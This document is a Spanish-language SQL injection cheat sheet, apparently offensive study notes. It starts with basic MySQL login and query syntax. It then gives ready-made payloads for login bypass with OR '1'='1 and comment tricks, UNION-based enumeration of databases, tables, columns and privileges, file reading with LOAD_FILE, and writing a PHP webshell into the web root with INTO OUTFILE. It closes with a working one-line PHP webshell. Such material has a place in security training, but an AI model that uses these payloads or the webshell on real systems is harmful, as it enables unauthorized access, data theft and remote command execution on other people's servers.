

Cheatsheet SQLi

1. ENTRAR A LA BASE DE DATOS:

Comandos	¿Cuál es su función?
<code>mysql -u <usuario></code>	Realiza una autenticación a la base de datos local (local host) a un usuario en particular de forma anónima
<code>mysql -u <usuario> -p</code>	Realiza una autenticación a la base de datos local (local host) a un usuario en particular con una contraseña escrita de forma interactiva (Recomendado)
<code>mysql -u <usuario> -p<password></code>	Realiza una autenticación a la base de datos local (local host) a un usuario en particular con una contraseña escrita en el bash (No recomendado)
<code>mysql -u <usuario> -h <dominio o dirección_ip> -p</code>	Realiza una autenticación a la base de datos del dominio especificado donde la contraseña es escrita de forma interactiva.
<code>mysql -u <usuario> -h <dominio o dirección_ip> -P <Puerto> -p</code>	Realiza una autenticación a la base de datos del dominio especificado en el puerto especificado donde la contraseña es escrita de forma interactiva.

2. COMANDOS PARA EL MANEJO Y CREACIÓN DE LA BASE DE DATOS:

<code>CREATE DATABASE <nombre>;</code>	Crea una base de datos dentro de MySQL
<code>SHOW DATABASES;</code>	Muestra las bases de datos creadas dentro de MySQL (Existen algunas por defecto)
<code>CREATE TABLE <nombre> (Características)</code>	Crea una tabla con las columnas especificadas y sus características propias.

Para crear una tabla necesitamos las siguientes características:

- 1) Tipo de dato de la columna: INT (Numérico), VARCHAR (Texto), Datetime (Tiempo) y otros
- 2) Nombre de la columna: Puede ser cualquier nombre
- 3) Características propias de cada columna o variable (Opcional). Las características más importantes que podemos dar a las tablas son las siguientes:
 - **NOT NULL:** No permite la ausencia del dato en la columna

- **AUTO_INCREMENT:** Aumenta la variable de forma automática (1 en 1)
- **UNIQUE:** Todos los valores ingresados son únicos en la columna
- **DEFAULT:** Para asignar un valor predeterminado en la columna si este no se ingresa.
- **PRIMARY KEY:** Para definir una columna como llave primaria.

Ejemplo de tabla sin características propias:

```
CREATE TABLE usuarios (
    Id INT,
    usuario VARCHAR(100),
    contraseña VARCHAR(100),
    fecha_llegada DATETIME
);
```

Ejemplo de tabla con características propias:

```
CREATE TABLE usuarios (
    Id INT NOT NULL AUTO_INCREMENT,
    usuario VARCHAR(100) UNIQUE NOT NULL,
    contraseña VARCHAR(100) NOT NULL,
    fecha_llegada DATETIME DEFAULT NOW(),
    PRIMARY KEY (Id)
);
```

<code>SHOW TABLES;</code>	Muestra todas las tablas creadas en la base de datos.
<code>DESCRIBE <tabla>;</code>	Muestra las columnas y su tipo de dato en cada tabla
<code>USE <base_de_datos>;</code>	Permite usar una base de datos en particular

3. COMANDOS PARA LA SELECCIÓN Y LA INSERCIÓN (O ELIMINACIÓN) DE DATOS:

<code>INSERT INTO <tabla> VALUES (columna_1, columna_2, columna_n);</code>	Permite insertar los valores especificados en las diferentes columnas (ordenadas por el orden que se hizo al crear la tabla).
--	---

SELECT <columnas> FROM <tabla>;	Permite seleccionar ciertas columnas de una tabla y mostrar sus valores.
SELECT * FROM <tabla>;	Permite seleccionar todas las columnas de la tabla y mostrar sus valores
DROP <table>;	Permite eliminar tablas específicas en la base de datos.
ALTER TABLE <tabla> ADD <columna> <tipo_de_dato>;	Permite modificar una tabla agregando una columna con su nombre y tipo de dato.
ALTER TABLE <tabla> RENAME COLUMN <nombre_ant> TO <nombre_nue>;	Permite modificar una tabla modificando el nombre de una columna
ALTER TABLE <tabla> MODIFY <columna> <tipo_de_dato_nue>;	Permite modificar una tabla modificando el tipo de dato de una columna.
ALTER TABLE <tabla> DROP <columna>;	Permite modificar una tabla eliminando una columna.
UPDATE <tabla> SET <columna> = <valor_columna> WHERE <condición>;	Permite actualizar una columna de una tabla específica donde el valor de esa columna será cambiado siempre y cuando se cumpla la condición dada en el WHERE
SELECT * FROM <tabla> ORDER BY <columna>;	Permite seleccionar todas las columnas de una tabla y luego ordenar estos valores según una columna en particular, este orden será ascendente
SELECT * FROM <tabla> ORDER BY <columna> DESC;	Permite seleccionar todas las columnas de una tabla y luego ordenar estos valores según una columna en particular, este orden será descendente.
SELECT * FROM <tabla> ORDER BY <columna_1>, <columna_n>;	Permite seleccionar todas las columnas de una tabla y luego ordenar estos valores según n columnas, donde las columnas serán prioritarias según el orden que sean especificadas.
SELECT * FROM <tabla> LIMIT n;	Permite seleccionar todas las columnas de una tabla y limitar los resultados a n filas.
SELECT * FROM <tabla> LIMIT m,n;	Permite seleccionar todas las columnas de una tabla y limitar los resultados a n filas empezando desde el registro m, el cual empieza desde el índice 0.
SELECT * FROM <tabla> WHERE <condición>;	Permite seleccionar todas las columnas de una tabla, donde se cumpla la condición especificada.

<code>SELECT * FROM <tabla> WHERE <columna> LIKE <Formato></code>	Permite seleccionar todas las columnas de una tabla, donde una columna posea un formato en particular.
---	--

Para las condiciones tenemos que su formato es:

Columna + operador + valor, donde los operadores son los siguientes:

1. /: División
2. *: Multiplicación
3. %: Modulo
4. +: Suma
5. -: Resta
6. =: Igual que
7. >: Mayor que
8. <: Menor que
9. <=: Menor igual que
10. >= Mayor igual que
11. !=: Distinto que
12. !: Corresponde a NOT
13. &&: Corresponde a AND
14. ||: Corresponde a OR

El orden de estas operaciones es de izquierda a derecha y tomando en cuenta el orden prioritario de operaciones elementales como:

1. /, *, %
2. +, -
3. =, >, <, >=, <=, !=
4. !
5. &&
6. ||

- Importante: En el caso de columnas no numéricas serán comparadas según su valor en la tabla ASCII.

Ejemplos de operaciones:

- `SELECT * FROM registros WHERE username != 'john'`: Selecciona todas las columnas de la tabla registros donde el usuario sea distinto de john

- `SELECT * FROM registros WHERE username != 'john' AND Id > 3:`
Selecciona todas las columnas de la tabla registros donde se cumpla que el usuario no sea john y que el Id sea mayor a 3.

4. SQL INJECTIONS (BYPASS):

Desde ahora en adelante la utilización de – será para indicar cualquier cosa, palabra o carácter.

Forma	SQLi
Forma: <code>SELECT * FROM <tabla> WHERE username = '<Input_1>' AND password = '<Input_2>';</code>	Input_1 = usuario_valido' OR '1' = '1' Input 2 = -

¿Cuándo realizarlo?: Cuando posees un usuario valido en el sistema

Explicación: El comando quedaría de la siguiente forma:

```
SELECT * FROM <tabla> WHERE username = 'usuario_valido' OR '1'='1'
AND password = '-';
```

Por lo tanto, por evaluación de condiciones tenemos:

- 1) Comparaciones:
 - username = 'usuario_valido': TRUE
 - '1' = '1': TRUE
 - password = '-': FALSE
- 2) Operador AND:
 - TRUE AND FALSE: FALSE
- 3) Operador OR:
 - TRUE OR FALSE: TRUE

Forma: <code>SELECT * FROM <tabla> WHERE username = '<Input_1>' AND password = '<Input_2>';</code>	Input_1 = -' OR '1' = '1' Input_2 = -' OR '1' = '1'
--	--

¿Cuándo realizarlo?: Cuando no poseemos usuarios validos

Explicación: El comando quedaría de la siguiente forma:

```
SELECT * FROM <tabla> WHERE username = '- ' OR '1' = '1' AND
password = '- ' OR '1' = '1';
```

- 1) Comparaciones:

- username = '-': FALSE
 - '1' = '1': TRUE
 - password = '-': FALSE
- 2) Operador AND:
- TRUE AND FALSE: FALSE
- 3) Operador OR:
- FALSE OR FALSE: FALSE
 - FALSE OR TRUE: TRUE

Forma: SELECT * FROM <tabla> WHERE username = '<Input_1' AND password = '<Input_2>';	Input_1 = usuario_valido'-- - Input_2 = -
--	--

¿Cuándo realizarlo?: Cuando posees un usuario valido y las otras formas están bloqueadas

Explicación: Aquí no se utiliza lógica booleana para llegar a un estado verdadero, sino que lo que se realiza es que -- significa comentario por lo cual, todo lo que sigue no se toma en cuenta. Forma del comando

```
SELECT * FROM <tabla> WHERE username = 'usuario_valido' -- ' AND
password = '-';
```

Por lo tanto, ' AND password = '-'; será tomado como comentario

Forma: SELECT * FROM <tabla> WHERE (username = 'Input_1' AND id > 1) AND password = 'Input_2 (HASH)';	Input_1 = usuario_valido')-- - Input_2 = -
--	---

¿Cuándo realizarlo?: Se realiza cuando posea esta forma en particular, para evitar las condiciones que prosigan (Qué en este caso evitaría el login del administrador) y que la contraseña no permite SQL injection al utilizar el hashing.

Explicación: Aquí nuevamente no se utiliza la lógica booleana para llegar al estado verdadero, sino que se toma el paréntesis dado para cerrarlo y luego comentar lo que sigue.

5. UTILIZACIÓN DE UNION:

Importante: Para utilizar el UNION debemos cumplir ciertas condiciones:

- Las tablas para realizar la unión deben tener la misma cantidad de columnas
- Las tablas para realizar la unión deben tener el mismo tipo de dato en las columnas correspondientes.

Comandos	¿Cuál es su función?
SELECT * FROM <tabla_1> UNION SELECT * FROM <tabla_2>;	Permite combinar ambos resultados de ambas tablas donde nos permite obtener información de ambas.
SELECT * FROM <tabla_1> UNION SELECT <columna>, 1,2,3 FROM <tabla_2>;	Permite combinar ambos resultados, lo importante es que permite unir tablas que no posean la misma cantidad de columnas haciendo que los datos faltantes se llenen con números. IMPORTANTE: Los valores faltantes deben llenarse con valores que posean el mismo tipo de data.

6. CANTIDAD DE COLUMNAS EN UNA TABLA:

Para saber la cantidad de columnas y para el tipo de inyección que vamos a hablar asumimos la forma de la siguiente petición:

SELECT <columna o *> FROM <tabla> WHERE <columna> = <Input>

Input	Explicación
' ORDER BY 1-- -	Permite saber si es posible ordenarlo por la primera columna. De esta forma, podemos intentar con n números hasta que nos de error. Cuando nos da error sabemos que el numero de columnas es n-1.
<Parametro_valido>' UNION SELECT 1,2,3-- -	Como lo dijimos anteriormente UNION nos permite solo realizarla cuando tengamos el mismo numero de columnas por lo que, ponemos columnas hasta ver cuando se nos realiza un output valido.

7. EXPLOTACIÓN CON SQL INJECTIONS (UNION):

Input	Explicación
<Parametro_valido>' UNION SELECT 1,@@version,3-- -	Nos entrega la versión de la base de datos explotada
<Parametro_valido>' UNION SELECT 1,database(),3-- -	Nos entrega la base de datos actual utilizada

<code><Parametro_valido>' UNION SELECT 1,schema_name,3 FROM INFORMATION_SCHEMA.SCHEMATA-- -</code>	Se nos entrega las bases de datos disponibles. Esto es debido a que en la base de datos INFORMATION_SCHEMA, podemos encontrar mucha información relevante, donde la tabla schemata nos muestra en su columna schema_name cuantas bases de datos existen.
<code><Parametro_valido>' UNION SELECT 1,table_name,table_schema FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = <Base_datos>-- -</code>	Se nos entrega las tablas de una base de datos en particular
<code><Parametro_valido>' UNION SELECT column_name,table_name,table_schema FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name = <tabla>-- -</code>	Se nos entrega las columnas de una tabla en una base de datos en particular.
<code><Parametro_valido>' UNION SELECT <columna_1>,<columna_2>, 3 FROM <base_datos>.<tabla>-- -</code>	Permite una vez tengamos toda la información ver información de otra base de datos en su respectiva tabla y columnas.

8. LECTURA DE ARCHIVOS:

Aquí poseemos dos partes (Seguimos asumiendo la misma estructura mencionada anteriormente):

1. Obtención de información sobre privilegios del usuario:

Input	Explicación
<code><Parametro_valido>' UNION SELECT 1,user(),3-- -</code>	Nos entrega la información del usuario actual que se esta ocupando en la base de datos
<code><Parametro_valido>' UNION SELECT 1,super_priv,3 FROM mysql.user WHERE user="<usuario>"-- -</code>	Nos entrega la información de si poseemos o no super privilegios, lo que nos indicaría si podemos realizar o no lectura y escritura de archivos. Puede retornar Y(Yes) o N(Not).
<code><Parametro_valido>' UNION SELECT 1,grantee, privilege_type FROM INFORMATION_SCHEMA.user_privileges WHERE</code>	Se nos entregan todos los privilegios que poseemos con el usuario especificado. Estos privilegios corresponden a comandos que

<code>grantee=""<usuario>@'localhost'""-- -</code>	podemos realizar dentro de la base de datos.
--	--

■ Importante: El permiso que nos permite leer archivos es el permiso FILE

2. Lectura de archivos teniendo el permiso FILE

<code><Parametro_valido>' UNION SELECT 1,LOAD_FILE("<Archivo>"),3-- -</code>	Nos permite leer el archivo que queramos en pantalla
<code><Parametro_valido>' UNION SELECT 1,LOAD_FILE("/var/www/html/search.php"),3-- -</code>	Este archivo nos permite leer el código base php para poder ver la consulta original realizada a la base de datos.

9. ESCRITURA DE ARCHIVOS:

Para tener escritura de archivos debemos cumplir tres requisitos:

1. Tener habilitado el permiso FILE.
2. Tener deshabilitado el la variable `secure_file_priv`.
3. Que el usuario posea permisos de escritura en el archivo que queremos escribir (Por lo general el usuario sería `www-data`, usuario con pocos privilegios donde su carpeta de ejecución sería `/var/www/html`).

Input	Explicación
<code><Parametro_valido>' UNION SELECT 1,variable_name, variable_value FROM INFORMATION_SCHEMA.global_variables WHERE variable_name="secure_file_priv"-- -</code>	Nos entrega el valor de la variable global <code>secure_file_priv</code> . Si este esta vacío se nos permite tanto leer como escribir en el sistema. Si posee el valor NULL no podemos ni leer ni escribir en el sistema y si indica cierto directorio, entonces tenemos permiso de lectura y escritura en este directorio.
<code><Parametro_valido>' UNION SELECT 1,"<valor_insertado>", 3 INTO OUTFILE '<ruta>'-- -</code>	Nos permite escribir texto dentro de un archivo en particular especificando su ruta.
<code><Parametro_valido>' UNION SELECT 1,"<Webshell>", 3 INTO OUTFILE '/var/www/html/shell.<extensión>'</code>	Nos permite escribir una webshell en la raíz de la página web, por esta razón podemos ejecutarla luego de forma remota.

- Importante: No siempre se podrá ejecutar la webshell debido a que puede haber bastantes medidas de seguridad contra el tipo de extensión o con la ejecución de ciertas funciones del sistema que permitan realizar una Shell a usuarios de servicios como www-data. Por lo que, podría no funcionar la ejecución, pero de todas formas la escritura del archivo debe ser exitosa si cumplimos los requisitos previos.

WEBSHELL COMÚN: `<?php system($_REQUEST[0]); ?>`